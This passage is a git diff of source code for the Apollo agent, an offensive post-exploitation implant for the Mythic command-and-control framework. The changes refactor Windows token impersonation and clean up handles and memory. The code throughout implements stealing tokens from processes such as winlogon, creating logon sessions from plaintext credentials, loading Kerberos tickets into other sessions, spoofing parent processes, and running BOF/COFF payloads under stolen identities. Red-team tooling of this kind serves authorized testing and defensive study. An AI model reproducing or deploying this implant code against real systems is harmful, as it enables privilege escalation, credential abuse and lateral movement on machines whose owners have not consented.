_isImpersonating = true; + lock (_identitySync) + { + _currentImpersonationIdentity = new WindowsIdentity(hToken); + _isImpersonating = true; + } } public void Revert() { - _SetThreadToken(ref _executingThread, _originalImpersonationToken); - _userCredential = new ApolloLogonInformation(); - _currentImpersonationIdentity = _originalIdentity; - _currentPrimaryIdentity = _originalIdentity; - _isImpersonating = false; - //_RevertToSelf(); + lock (_identitySync) + { + RevertInternal(); + } } public WindowsIdentity GetCurrentPrimaryIdentity() { - return _currentPrimaryIdentity; + lock (_identitySync) + { + return _currentPrimaryIdentity; + } } public WindowsIdentity GetCurrentImpersonationIdentity() { - return _currentImpersonationIdentity; + lock (_identitySync) + { + return _currentImpersonationIdentity; + } } public bool GetCurrentLogonInformation(out ApolloLogonInformation logonInfo) { - if (!string.IsNullOrEmpty(_userCredential.Username) && - !string.IsNullOrEmpty(_userCredential.Password)) + lock (_identitySync) { - logonInfo = _userCredential; - return true; + if (!string.IsNullOrEmpty(_userCredential.Username) && + !string.IsNullOrEmpty(_userCredential.Password)) + { + logonInfo = _userCredential; + return true; + } + + logonInfo = new ApolloLogonInformation(); + return false; } - logonInfo = new ApolloLogonInformation(); - return false; } - - -} \ No newline at end of file +} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Tasking.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Tasking.cs index 4efe0db9..3fc5d2fc 100644 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Tasking.cs +++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Tasking.cs @@ -1,4 +1,4 @@ -using ApolloInterop.Interfaces; +using ApolloInterop.Interfaces; using ApolloInterop.Structs.MythicStructs; using ApolloInterop.Enums.ApolloEnums; using System; @@ -6,6 +6,7 @@ using System.Linq; using System.Threading; using ApolloInterop.Serializers; +using ApolloInterop.Classes.Impersonation; namespace ApolloInterop.Classes { @@ -33,10 +34,8 @@ public virtual System.Threading.Tasks.Task CreateTasking() { return new System.Threading.Tasks.Task(() => { - using (_agent.GetIdentityManager().GetCurrentImpersonationIdentity().Impersonate()) - { - Start(); - } + var impersonationIdentity = _agent.GetIdentityManager().GetCurrentImpersonationIdentity(); + ImpersonationScope.Run(impersonationIdentity, Start); }, _cancellationToken.Token); } diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs index 83373b96..355dd2e6 100644 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs +++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs @@ -1,4 +1,4 @@ -using ApolloInterop.Structs; +using ApolloInterop.Structs; using ApolloInterop.Structs.ApolloStructs; using ApolloInterop.Structs.MythicStructs; using System; @@ -21,6 +21,19 @@ public sealed class AccessToken : IDisposable public SafeTokenHandle TokenHandle { get; } public ApolloLogonInformation? SourceCredentials { get; } + [StructLayout(LayoutKind.Sequential)] + private struct TOKEN_USER + { + public SID_AND_ATTRIBUTES User; + } + + [StructLayout(LayoutKind.Sequential)] + private struct LUID_AND_ATTRIBUTES + { + public LUID Luid; + public PrivilegeAttributes Attributes; + } + public bool IsNetworkOnly => GetTokenSource() == "Seclogo"; public bool CanImpersonate => !IsNetworkOnly && @@ -140,7 +153,7 @@ private string GetTokenSource() } } - private string LookupPrivilegeName(Win32.LUID luid) + private string LookupPrivilegeName(LUID luid) { int len = 0; LookupPrivilegeNameW(null, ref luid, null, ref len); @@ -229,7 +242,7 @@ public bool HasPrivilege(TokenPrivilege privilege, bool requireEnabled = true) } else { - yield return ((TokenPrivilege)(-1), enabled); + yield return (TokenPrivilege.Unknown, enabled); } } } @@ -373,15 +386,6 @@ public static AccessToken FromSystemByProcessName(string processName = "winlogon ); } - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool GetTokenInformation( - SafeHandle TokenHandle, - TokenInformationClass TokenInformationClass, - IntPtr TokenInformation, - int TokenInformationLength, - out int ReturnLength - ); - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern bool LookupAccountSid( string lpSystemName, @@ -395,7 +399,7 @@ private static extern bool LookupAccountSid( [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern bool LookupPrivilegeNameW( string? lpSystemName, - ref Win32.LUID lpLuid, + ref LUID lpLuid, StringBuilder? lpName, ref int cchName ); @@ -455,4 +459,4 @@ out SafeTokenHandle phToken private const uint TOKEN_ALL_ACCESS = 0xF01FF; } -} \ No newline at end of file +} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/ImpersonationScope.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/ImpersonationScope.cs new file mode 100644 index 00000000..a01a3a0d --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/ImpersonationScope.cs @@ -0,0 +1,34 @@ +using System; +using System.Security.Principal; + +namespace ApolloInterop.Classes.Impersonation +{ + public static class ImpersonationScope + { + public static void Run(WindowsIdentity identity, Action action) + { + if (identity == null) + throw new ArgumentNullException(nameof(identity)); + if (action == null) + throw new ArgumentNullException(nameof(action)); + + using (identity.Impersonate()) + { + action(); + } + } + + public static T Run(WindowsIdentity identity, Func action) + { + if (identity == null) + throw new ArgumentNullException(nameof(identity)); + if (action == null) + throw new ArgumentNullException(nameof(action)); + + using (identity.Impersonate()) + { + return action(); + } + } + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/TokenPrivilege.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/TokenPrivilege.cs new file mode 100644 index 00000000..7d9d8cdb --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/TokenPrivilege.cs @@ -0,0 +1,54 @@ +using System; + +namespace ApolloInterop.Classes.Impersonation +{ + [Flags] + public enum PrivilegeAttributes : uint + { + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001, + SE_PRIVILEGE_ENABLED = 0x00000002, + SE_PRIVILEGE_REMOVED = 0x00000004, + SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000 + } + + public enum TokenPrivilege + { + Unknown = -1, + SeAssignPrimaryTokenPrivilege, + SeAuditPrivilege, + SeBackupPrivilege, + SeChangeNotifyPrivilege, + SeCreateGlobalPrivilege, + SeCreatePagefilePrivilege, + SeCreatePermanentPrivilege, + SeCreateSymbolicLinkPrivilege, + SeCreateTokenPrivilege, + SeDebugPrivilege, + SeDelegateSessionUserImpersonatePrivilege, + SeEnableDelegationPrivilege, + SeImpersonatePrivilege, + SeIncreaseBasePriorityPrivilege, + SeIncreaseQuotaPrivilege, + SeIncreaseWorkingSetPrivilege, + SeLoadDriverPrivilege, + SeLockMemoryPrivilege, + SeMachineAccountPrivilege, + SeManageVolumePrivilege, + SeProfileSingleProcessPrivilege, + SeRelabelPrivilege, + SeRemoteShutdownPrivilege, + SeRestorePrivilege, + SeSecurityPrivilege, + SeShutdownPrivilege, + SeSyncAgentPrivilege, + SeSystemEnvironmentPrivilege, + SeSystemProfilePrivilege, + SeSystemtimePrivilege, + SeTakeOwnershipPrivilege, + SeTcbPrivilege, + SeTimeZonePrivilege, + SeTrustedCredManAccessPrivilege, + SeUndockPrivilege, + SeUnsolicitedInputPrivilege + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs index 7c32cbc6..c2c7a494 100644 --- a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs +++ b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs @@ -1,4 +1,4 @@ -using System; +using System; using System.Collections.Generic; using System.IO; using System.Linq; @@ -7,6 +7,7 @@ using System.Security.Principal; using System.Text; using ApolloInterop.Enums; +using ApolloInterop.Classes.Impersonation; using ApolloInterop.Features.KerberosTickets; using ApolloInterop.Features.WindowsTypesAndAPIs; using ApolloInterop.Structs.MythicStructs; @@ -53,9 +54,10 @@ private static HANDLE GetLsaHandleUntrusted(bool elevateToSystem = true) if (elevated) { systemHandle = new(); - var originalUser = WindowsIdentity.Impersonate(_systemHandle); - WindowsAPI.LsaConnectUntrustedDelegate(out lsaHandle); - originalUser.Undo(); + ImpersonationScope.Run(new WindowsIdentity(_systemHandle), () => + { + WindowsAPI.LsaConnectUntrustedDelegate(out lsaHandle); + }); createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaConnectUntrusted")); } else @@ -281,6 +283,7 @@ private static (HANDLE, uint, IEnumerable, string) InitKerberosConnectionA private static HANDLE CreateNewLogonSession() { + HANDLE tokenInfo = new(); try { UNICODE_STRING userName = new(WindowsIdentity.GetCurrent().Name); @@ -291,18 +294,24 @@ private static HANDLE CreateNewLogonSession() HANDLE passwordHandle = new(password); bool didLogon = WindowsAPI.LogonUserADelegate(userNameHandle, logonDomainNameHandle, passwordHandle, Win32.LogonType.LOGON32_LOGON_NEW_CREDENTIALS, Win32.LogonProvider.LOGON32_PROVIDER_WINNT50, out HANDLE token); createdArtifacts.Add(Artifact.WindowsAPIInvoke("LogonUserA")); - if (didLogon) + if (!didLogon) { - createdArtifacts.Add(Artifact.PlaintextLogon(userName.ToString())); + DebugHelp.DebugWriteLine($"Failed to create new logon session: {Marshal.GetLastWin32Error()}"); + return new(); } - //debug get the luid for the token + + createdArtifacts.Add(Artifact.PlaintextLogon(userName.ToString())); + int tokenInfoSize = Marshal.SizeOf(); - HANDLE tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize); - WindowsAPI.GetTokenInformationDelegate(token, Win32.TokenInformationClass.TokenStatistics,tokenInfo, tokenInfoSize, out int returnLength); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("GetTokenInformation")); - TOKEN_STATISTICS tokenStats = tokenInfo.CastTo(); - DebugHelp.DebugWriteLine($"New Logon Session LUID: {tokenStats.AuthenticationId}"); - DebugHelp.DebugWriteLine($"Current Logon Session LUID: {GetCurrentLuid()}"); + tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize); + if (WindowsAPI.GetTokenInformationDelegate(token, Win32.TokenInformationClass.TokenStatistics, tokenInfo, tokenInfoSize, out int returnLength)) + { + createdArtifacts.Add(Artifact.WindowsAPIInvoke("GetTokenInformation")); + TOKEN_STATISTICS tokenStats = tokenInfo.CastTo(); + DebugHelp.DebugWriteLine($"New Logon Session LUID: {tokenStats.AuthenticationId}"); + DebugHelp.DebugWriteLine($"Current Logon Session LUID: {GetCurrentLuid()}"); + } + return token; } catch (Exception e) @@ -311,6 +320,13 @@ private static HANDLE CreateNewLogonSession() DebugHelp.DebugWriteLine($"{Marshal.GetLastWin32Error()}"); return new(); } + finally + { + if (!tokenInfo.IsNull) + { + Marshal.FreeHGlobal(tokenInfo.PtrLocation); + } + } } /// @@ -711,41 +727,60 @@ internal static (bool, string) UnloadTicket(string serviceName, string domainNam internal static KerberosTicket? TryGetTicketDetailsFromKirbi(byte[] kirbiTicket) { KerberosTicket? ticket = null; + HANDLE newlogonHandle = new(); + HANDLE tokenInfo = new(); + try { - HANDLE newlogonHandle = CreateNewLogonSession(); + newlogonHandle = CreateNewLogonSession(); if (newlogonHandle.IsNull) { DebugHelp.DebugWriteLine("Failed to create new logon session"); DebugHelp.DebugWriteLine($"{Marshal.GetLastWin32Error()}"); + return ticket; } - else + + ImpersonationScope.Run(new WindowsIdentity((IntPtr)newlogonHandle), () => { - WindowsAPI.ImpersonateLoggedOnUserDelegate(newlogonHandle); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("ImpersonateLoggedOnUser")); - //passing new luid here is fine because we have switched to the new logon session int tokenInfoSize = Marshal.SizeOf(); - HANDLE tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize); - WindowsAPI.GetTokenInformationDelegate(newlogonHandle, Win32.TokenInformationClass.TokenStatistics, tokenInfo, tokenInfoSize, out int returnLength); + tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize); + if (!WindowsAPI.GetTokenInformationDelegate(newlogonHandle, Win32.TokenInformationClass.TokenStatistics, tokenInfo, tokenInfoSize, out int returnLength)) + { + DebugHelp.DebugWriteLine("Failed to query token information for new logon handle"); + return; + } + createdArtifacts.Add(Artifact.WindowsAPIInvoke("GetTokenInformation")); TOKEN_STATISTICS tokenStats = tokenInfo.CastTo(); LoadTicket(kirbiTicket, tokenStats.AuthenticationId); - ticket = TriageTickets(getSystemTickets:true, targetLuid:$"{tokenStats.AuthenticationId}").FirstOrDefault(); - if(ticket != null) + ticket = TriageTickets(getSystemTickets: true, targetLuid: $"{tokenStats.AuthenticationId}").FirstOrDefault(); + if (ticket != null) { ticket.Kirbi = kirbiTicket; DebugHelp.DebugWriteLine($"Converted base64 ticket to KerberosTicket: {ticket.ToString().ToIndentedString()}"); - } else + } + else { - DebugHelp.DebugWriteLine($"Failed to triage any tickets"); + DebugHelp.DebugWriteLine("Failed to triage any tickets"); } - } + }); } catch (Exception e) { DebugHelp.DebugWriteLine($"Error converting base64 ticket to KerberosTicket: {e.Message} \n stack trace: {e}"); } + finally + { + if (!tokenInfo.IsNull) + { + Marshal.FreeHGlobal(tokenInfo.PtrLocation); + } + if (!newlogonHandle.IsNull) + { + WindowsAPI.CloseHandleDelegate(newlogonHandle); + } + } + return ticket; } - -} \ No newline at end of file +} diff --git a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs index 536f632f..2e44f83e 100644 --- a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs +++ b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs @@ -1,7 +1,8 @@ -//#define SERVER2012_COMPATIBLE +//#define SERVER2012_COMPATIBLE using ApolloInterop.Classes.Api; using ApolloInterop.Classes.Events; +using ApolloInterop.Classes.Impersonation; using ApolloInterop.Interfaces; using ApolloInterop.Structs.ApolloStructs; using Microsoft.Win32.SafeHandles; @@ -191,7 +192,6 @@ private delegate bool GetExitCodeProcess( private LogonUser _pLogonUser; private CreateProcessWithLogonW _pCreateProcessWithLogonW; private CreateProcessWithTokenW _pCreateProcessWithTokenW; - public Advapi32APIs.ImpersonateLoggedOnUser ImpersonateLoggedOnUserDelegate { get; private set; } public Advapi32APIs.OpenProcessToken OpenProcessTokenDelegate { get; private set; } #endregion @@ -204,10 +204,9 @@ public SacrificialProcess( _pInitializeSecurityDescriptor = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "InitializeSecurityDescriptor"); _pSetSecurityDescriptorDacl = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "SetSecurityDescriptorDacl"); _pLogonUser = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserW"); - _pCreateProcessAsUser = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateProcessAsUserA"); + _pCreateProcessAsUser = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateProcessAsUserW"); _pCreateProcessWithLogonW = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateProcessWithLogonW"); _pCreateProcessWithTokenW = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateProcessWithTokenW"); - ImpersonateLoggedOnUserDelegate = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ImpersonateLoggedOnUser"); #if SERVER2012_COMPATIBLE _pGetModuleHandleA = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "GetModuleHandleA"); @@ -380,9 +379,8 @@ bool InitializeStartupEnvironment(IntPtr hToken) try { DebugHelp.DebugWriteLine("Failed to duplicate handles. Attempting to duplicate without impersonation."); - var currentIdentity = new WindowsIdentity(_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Token); - var currentImpersonation = new WindowsIdentity(_agent.GetIdentityManager().GetCurrentImpersonationIdentity().Token); - using (_agent.GetIdentityManager().GetOriginal().Impersonate()) + var originalIdentity = _agent.GetIdentityManager().GetOriginal(); + ImpersonationScope.Run(originalIdentity, () => { var currentProcHandle = System.Diagnostics.Process.GetCurrentProcess().Handle; DebugHelp.DebugWriteLine($"Reverted to: {WindowsIdentity.GetCurrent().Name}"); @@ -390,10 +388,7 @@ bool InitializeStartupEnvironment(IntPtr hToken) DebugHelp.DebugWriteLine($"Duplicated StdOut handle: {bRet}"); bRet = _pDuplicateHandle(currentProcHandle, hWriteErr, _hParentProc, ref hDupWriteErr, 0, true, DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); DebugHelp.DebugWriteLine($"Duplicated StdErr handle: {bRet}"); - } - DebugHelp.DebugWriteLine("restoring previous impersonation"); - _agent.GetIdentityManager().SetImpersonationIdentity(currentImpersonation.Token); - _agent.GetIdentityManager().SetPrimaryIdentity(currentIdentity.Token); + }); } catch (Exception ex2) { @@ -469,8 +464,10 @@ private ApplicationStartupInfo GetSafeStartupArgs() if (_hParentProc == IntPtr.Zero) { - using (_agent.GetIdentityManager().GetOriginal().Impersonate()) + ImpersonationScope.Run(_agent.GetIdentityManager().GetOriginal(), () => + { _hParentProc = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, evasionArgs.ParentProcessId); + }); } return evasionArgs; @@ -752,10 +749,10 @@ public override bool StartWithCredentials(IntPtr hToken) DebugHelp.DebugWriteLine($"calling InitializeStartupEnvironment"); if (_agent.GetIdentityManager().GetOriginal().Name != _agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name) { - using (_agent.GetIdentityManager().GetOriginal().Impersonate()) + ImpersonationScope.Run(_agent.GetIdentityManager().GetOriginal(), () => { bRet = InitializeStartupEnvironment(hToken); - } + }); } else { @@ -843,32 +840,46 @@ out _processInfo DebugHelp.DebugWriteLine($"LUID prior to impersonation: {_agent.GetTicketManager().GetCurrentLuid()}"); //get into the context of the newly created process prior to loading tickets IntPtr targetProcessHandle = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, (int)PID); - if (targetProcessHandle == IntPtr.Zero) - { - DebugHelp.DebugWriteLine("Failed to open process handle"); - } - bool OpenedTargetToken = OpenProcessTokenDelegate((APIInteropTypes.HANDLE)targetProcessHandle, TokenAccessLevels.Query | TokenAccessLevels.Duplicate, out APIInteropTypes.HANDLE targetProcessTokenHandle); - if (OpenedTargetToken is false) - { - DebugHelp.DebugWriteLine("Failed to open process token handle"); - DebugHelp.DebugWriteLine("Error code: " + Marshal.GetLastWin32Error()); - } - if (targetProcessTokenHandle.IsNull) - { - DebugHelp.DebugWriteLine("opened token but handle is null"); - DebugHelp.DebugWriteLine("Error code: " + Marshal.GetLastWin32Error()); - } - if (ImpersonateLoggedOnUserDelegate(targetProcessTokenHandle) is false) + APIInteropTypes.HANDLE targetProcessTokenHandle = APIInteropTypes.HANDLE.Null; + try { - DebugHelp.DebugWriteLine("Failed to impersonate logged on user"); + if (targetProcessHandle == IntPtr.Zero) + { + DebugHelp.DebugWriteLine("Failed to open process handle"); + } + else if (!OpenProcessTokenDelegate((APIInteropTypes.HANDLE)targetProcessHandle, TokenAccessLevels.Query | TokenAccessLevels.Duplicate, out targetProcessTokenHandle)) + { + DebugHelp.DebugWriteLine("Failed to open process token handle"); + DebugHelp.DebugWriteLine("Error code: " + Marshal.GetLastWin32Error()); + } + else if (targetProcessTokenHandle.IsNull) + { + DebugHelp.DebugWriteLine("Opened process token but handle is null"); + } + else + { + ImpersonationScope.Run(new WindowsIdentity((IntPtr)targetProcessTokenHandle), () => + { + DebugHelp.DebugWriteLine($"LUID post impersonation: {_agent.GetTicketManager().GetCurrentLuid()}"); + var storedTickets = _agent.GetTicketManager().GetTicketsFromTicketStore(); + foreach (var ticket in storedTickets) + { + var ticketBytes = Convert.FromBase64String(ticket.base64Ticket); + _agent.GetTicketManager().LoadTicketIntoCache(ticketBytes, ""); + } + }); + } } - DebugHelp.DebugWriteLine($"LUID post impersonation: {_agent.GetTicketManager().GetCurrentLuid()}"); - //check the ticket manager and load the ticket into the process - var storedTickets = _agent.GetTicketManager().GetTicketsFromTicketStore(); - foreach (var ticket in storedTickets) + finally { - var ticketBytes = Convert.FromBase64String(ticket.base64Ticket); - _agent.GetTicketManager().LoadTicketIntoCache(ticketBytes, ""); + if (!targetProcessTokenHandle.IsNull) + { + _pCloseHandle(targetProcessTokenHandle); + } + if (targetProcessHandle != IntPtr.Zero) + { + _pCloseHandle(targetProcessHandle); + } } //} //start executing the process diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs index cb3ba38e..030f2a0d 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs @@ -1,4 +1,4 @@ -#define COMMAND_NAME_UPPER +#define COMMAND_NAME_UPPER #if DEBUG #define EXECUTE_COFF @@ -50,14 +50,6 @@ internal struct CoffParameters [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate IntPtr BeaconGetOutputDataDelegate([In, Out] ref int outsize); - // Add imported SetThreadToken API for thread token manipulation - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool SetThreadToken( - ref IntPtr ThreadHandle, - IntPtr Token); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr GetCurrentThread(); private static RunCOFFDelegate? _RunCOFF; private static UnhexlifyDelegate? _Unhexlify; @@ -1015,111 +1007,19 @@ private static void ExecuteCOFFThreadFunc(object state) try { DebugHelp.DebugWriteLine($"Starting COFF execution in thread {Thread.CurrentThread.ManagedThreadId}"); - WindowsImpersonationContext tokenApplied; if (!agent.GetIdentityManager().IsOriginalIdentity()) { - DebugHelp.DebugWriteLine("Applying impersonation token to COFF execution thread"); - try + WindowsIdentity impersonationIdentity = agent.GetIdentityManager().GetCurrentImpersonationIdentity(); + DebugHelp.DebugWriteLine($"Applying impersonation identity {impersonationIdentity.Name} to COFF execution thread"); + ApolloInterop.Classes.Impersonation.ImpersonationScope.Run(impersonationIdentity, () => { - // Impersonate the current identity in this new thread - tokenApplied = agent.GetIdentityManager().GetCurrentImpersonationIdentity().Impersonate(); - DebugHelp.DebugWriteLine($"Successfully applied token for {agent.GetIdentityManager().GetCurrentImpersonationIdentity().Name} to COFF thread"); - // Debug information about the current token - WindowsIdentity currentThreadIdentity = WindowsIdentity.GetCurrent(); - DebugHelp.DebugWriteLine($"Thread identity after impersonation attempt: {currentThreadIdentity.Name}"); - //DebugHelp.DebugWriteLine($"Thread token type: {currentThreadIdentity.Token.ToInt64():X}"); - //DebugHelp.DebugWriteLine($"Is authenticated: {currentThreadIdentity.IsAuthenticated}"); - //DebugHelp.DebugWriteLine($"Authentication type: {currentThreadIdentity.AuthenticationType}"); - - // List of groups/claims - //DebugHelp.DebugWriteLine("Token groups/claims:"); - //foreach (var claim in currentThreadIdentity.Claims) - //{ - // DebugHelp.DebugWriteLine($" - {claim.Type}: {claim.Value}"); - //} - - // Compare with expected identity - string expectedName = agent.GetIdentityManager().GetCurrentImpersonationIdentity().Name; - DebugHelp.DebugWriteLine($"Expected identity: {expectedName}"); - DebugHelp.DebugWriteLine($"Identity match: {expectedName == currentThreadIdentity.Name}"); - - } - catch (Exception ex) - { - DebugHelp.DebugWriteLine($"Error applying token to thread: {ex.Message}"); - // Fallback to using SetThreadToken API directly - IntPtr threadHandle = GetCurrentThread(); - IntPtr tokenHandle = agent.GetIdentityManager().GetCurrentImpersonationIdentity().Token; - - bool result = SetThreadToken(ref threadHandle, tokenHandle); - if (result) - { - DebugHelp.DebugWriteLine("Successfully applied token using SetThreadToken API"); - // Verify identity after SetThreadToken - WindowsIdentity currentThreadIdentity = WindowsIdentity.GetCurrent(); - DebugHelp.DebugWriteLine($"Thread identity after SetThreadToken: {currentThreadIdentity.Name}"); - } - else - { - int error = Marshal.GetLastWin32Error(); - DebugHelp.DebugWriteLine($"SetThreadToken failed with error: {error}"); - } - } + ExecuteRunCoff(executionState); + }); } else { DebugHelp.DebugWriteLine("Using original identity for COFF execution"); - try - { - WindowsIdentity currentThreadIdentity = WindowsIdentity.GetCurrent(); - DebugHelp.DebugWriteLine($"Thread identity (original): {currentThreadIdentity.Name}"); - } - catch (Exception ex) - { - DebugHelp.DebugWriteLine($"Error getting current identity: {ex.Message}"); - } - } - // Execute the COFF - executionState.Status = _RunCOFF( - executionState.FunctionName, - executionState.CoffData, - executionState.FileSize, - executionState.ArgumentData, - executionState.ArgumentSize); - - DebugHelp.DebugWriteLine($"COFF execution completed with status: {executionState.Status}"); - - // Get output data if execution was successful - if (executionState.Status == 0) - { - int outdataSize = 0; - IntPtr outdata = _BeaconGetOutputData(ref outdataSize); - - if (outdata != IntPtr.Zero && outdataSize > 0) - { - byte[] outDataBytes = new byte[outdataSize]; - Marshal.Copy(outdata, outDataBytes, 0, outdataSize); - executionState.Output = Encoding.Default.GetString(outDataBytes); - DebugHelp.DebugWriteLine($"Retrieved {outdataSize} bytes of output data"); - } - else - { - executionState.Output = "No Output"; - DebugHelp.DebugWriteLine("No output data was returned from COFF execution"); - } - } - else - { - DebugHelp.DebugWriteLine($"COFF execution failed with status: {executionState.Status}"); - } - try - { - DebugHelp.DebugWriteLine("Reverting impersonation in COFF thread"); - WindowsIdentity.Impersonate(IntPtr.Zero); - } - catch (Exception ex) - { - DebugHelp.DebugWriteLine($"Error reverting impersonation: {ex.Message}"); + ExecuteRunCoff(executionState); } } @@ -1136,6 +1036,40 @@ private static void ExecuteCOFFThreadFunc(object state) executionState.CompletionEvent.Set(); } } + private static void ExecuteRunCoff(COFFExecutionState executionState) + { + executionState.Status = _RunCOFF( + executionState.FunctionName, + executionState.CoffData, + executionState.FileSize, + executionState.ArgumentData, + executionState.ArgumentSize); + + DebugHelp.DebugWriteLine($"COFF execution completed with status: {executionState.Status}"); + + if (executionState.Status == 0) + { + int outdataSize = 0; + IntPtr outdata = _BeaconGetOutputData(ref outdataSize); + + if (outdata != IntPtr.Zero && outdataSize > 0) + { + byte[] outDataBytes = new byte[outdataSize]; + Marshal.Copy(outdata, outDataBytes, 0, outdataSize); + executionState.Output = Encoding.Default.GetString(outDataBytes); + DebugHelp.DebugWriteLine($"Retrieved {outdataSize} bytes of output data"); + } + else + { + executionState.Output = "No Output"; + DebugHelp.DebugWriteLine("No output data was returned from COFF execution"); + } + } + else + { + DebugHelp.DebugWriteLine($"COFF execution failed with status: {executionState.Status}"); + } + } public override void Start() { MythicTaskResponse resp; @@ -1279,4 +1213,4 @@ public override void Start() } } } -#endif \ No newline at end of file +#endif diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/make_token.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/make_token.cs index 2dce0387..4cc2d721 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/make_token.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/make_token.cs @@ -1,4 +1,4 @@ -#define COMMAND_NAME_UPPER +#define COMMAND_NAME_UPPER #if DEBUG #define MAKE_TOKEN @@ -84,7 +84,7 @@ public override void Start() if (parameters.NetOnly) { resp = CreateTaskResponse( - $"Successfully impersonated {cur.Name} for local access and {parameters.Credential.Realm}\\{parameters.Credential.Account} for remote access.\n{stringOutput}", + $"Successfully set Primary Identity to {cur.Name} for local access and Impersonation Identity to {parameters.Credential.Realm}\\{parameters.Credential.Account} for remote access.\n{stringOutput}", true, "completed", new IMythicMessage[] { @@ -95,7 +95,7 @@ public override void Start() else { resp = CreateTaskResponse( - $"Successfully impersonated {cur.Name} for local and remote access.\n{stringOutput}", + $"Successfully set Impersonation Identity to {cur.Name} for local and remote access.\n{stringOutput}", true, "completed", new IMythicMessage[] { diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/steal_token.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/steal_token.cs index 9d0048e1..9967b360 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/steal_token.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/steal_token.cs @@ -1,4 +1,4 @@ -#define COMMAND_NAME_UPPER +#define COMMAND_NAME_UPPER #if DEBUG #define STEAL_TOKEN @@ -122,7 +122,7 @@ public override void Start() stringOutput += item.ToString() + "\n"; } var integrityMessage = newIntegrity != oldIntegrity ? $" ( {newIntegrity} )" : ""; - resp = CreateTaskResponse($"Successfully impersonated {cur.Name}\n{stringOutput}", true, "", new IMythicMessage[] { + resp = CreateTaskResponse($"Successfully set Impersonation Identity to {cur.Name}\n{stringOutput}", true, "", new IMythicMessage[] { new CallbackUpdate{ ImpersonationContext = $"{cur.Name}{integrityMessage}" , IntegrityLevel = ((int)newIntegrity) } }); } @@ -148,4 +148,4 @@ public override void Start() } } } -#endif \ No newline at end of file +#endif diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/whoami.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/whoami.cs index cf7be5b6..3660d3cb 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/whoami.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/whoami.cs @@ -1,4 +1,4 @@ -#define COMMAND_NAME_UPPER +#define COMMAND_NAME_UPPER #if DEBUG #define WHOAMI @@ -25,13 +25,13 @@ public override void Start() if (_agent.GetIdentityManager().GetCurrentLogonInformation(out var logonInfo)) { resp = CreateTaskResponse( - $"Local Identity: 